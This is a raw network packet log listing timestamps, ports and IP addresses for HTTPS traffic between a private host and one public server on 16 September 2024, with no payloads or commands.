Sep 16, 2024 19:33:04.814510107 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.814510107 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.814548969 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.814589977 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.814626932 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.814646006 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.814666033 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.814821959 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.814821959 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.814830065 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.814842939 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.814846039 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.814857960 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.814945936 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.814950943 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.814959049 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.814996004 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.814999104 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.815006971 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.815079927 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.815150976 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.815155983 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.815298080 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.815329075 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.815334082 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.815418959 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.815471888 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.815515995 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.815593004 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.815593004 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.815614939 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.815638065 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.815680981 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.815720081 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.815741062 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.815746069 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.815813065 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.815850019 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.815887928 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.815893888 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.815911055 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.815963984 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.816009045 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.816066980 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.816066980 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.816072941 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.816107988 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.816145897 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.816236019 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.816236019 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.816241980 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.816272974 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.816313982 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.816333055 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.816337109 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.816379070 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.816440105 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.816477060 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.816548109 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.816548109 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.816554070 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.816602945 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.816643953 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.816731930 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.816731930 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.816736937 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.816808939 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.816843987 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.816871881 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.816876888 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.816891909 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.816941023 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.816983938 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.817044973 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.817044973 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.817049980 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.817128897 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.817167044 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.817188978 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.817204952 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.817244053 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.817302942 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.817346096 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.817362070 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.817370892 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.817425966 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.817451954 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.817493916 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.817506075 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.817517042 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.817601919 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.817645073 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.817686081 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.817785978 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.817785978 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.817802906 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.817817926 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.817859888 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.817912102 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.817912102 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.817917109 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.817994118 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.818037033 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.818113089 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.818113089 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.818121910 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.818162918 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.818202019 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.818259954 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.818260908 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.818264961 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.818300962 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.818357944 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.818392992 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.818399906 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.818412066 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.818480968 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.818516016 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.818540096 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.818545103 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.818597078 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.818619013 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.818660021 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.818710089 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.818710089 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.818717957 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.818774939 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.818810940 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.818831921 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.818836927 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.818861961 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.818953037 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.818994045 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.819123983 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.819128036 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.819128036 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.819147110 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.819180965 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.819217920 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.819217920 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.819225073 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.819291115 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.819292068 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.819308043 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.819346905 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.819370031 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.819374084 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.819406033 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.819494009 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.819535971 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.819541931 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.819541931 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.819556952 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.819593906 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.819628954 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.819654942 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.819705963 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.819725037 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.819730043 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.819770098 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.819770098 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.819807053 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.819843054 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.819897890 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.819897890 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.819902897 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.819972038 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.820012093 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.820116043 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.820116043 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.820130110 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.820142031 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.820180893 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.820207119 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.820211887 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.820286036 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.820286036 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.820302963 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.820353031 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.820379019 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.820384979 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.820430040 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.820430040 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.820472002 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.820537090 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.820563078 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.820568085 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.820606947 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.820606947 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.820609093 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.820631027 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.820667028 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.820691109 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.820691109 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.820697069 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.820754051 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.820754051 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.820791960 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.820830107 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.820847988 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.820852995 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.820899963 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.820899963 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.820961952 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.821002960 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.821022034 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.821032047 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.821055889 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.821074963 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.821125031 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.821167946 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.821211100 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.821214914 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.821230888 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.821244001 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.821307898 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.821350098 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.821371078 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.821374893 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.821413040 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.821413040 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.821477890 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.821516037 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.821573019 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.821573019 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.821578026 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.821641922 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.821675062 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.821686983 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.821701050 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.821707010 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.821757078 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.821757078 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.821835041 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.821872950 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.821883917 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.821888924 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.821949005 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.822025061 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822063923 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822113037 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.822113037 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.822118044 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822221994 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822267056 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822278023 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.822283030 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822370052 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.822370052 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.822403908 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822441101 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822464943 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.822479010 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822510958 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.822580099 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822619915 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822654963 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.822654963 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.822662115 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822680950 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.822741032 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.822765112 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822793007 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822823048 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.822843075 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822849989 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.822861910 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822876930 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.822880983 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822916985 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.822923899 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822947025 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822951078 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.822957993 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.822990894 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823035002 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823035002 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823035002 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823041916 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823055029 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823076010 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823143005 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823152065 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823152065 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823157072 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823165894 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823211908 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823211908 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823220015 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823230982 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823277950 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823303938 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823322058 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823322058 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823328018 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823348999 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823368073 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823402882 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823406935 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823438883 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823443890 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823484898 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823498011 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823502064 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823530912 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823556900 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823597908 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823623896 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823642969 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823642969 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823642969 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823642969 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823642969 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823645115 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823657036 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823690891 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823704958 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823729992 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823749065 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823791981 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823805094 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823833942 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823841095 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823860884 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823918104 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823918104 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823918104 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823929071 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823956966 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.823990107 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:04.823993921 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.824007988 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:04.824028015 CEST	443	49765	185.199.110.133	192.168.2.4
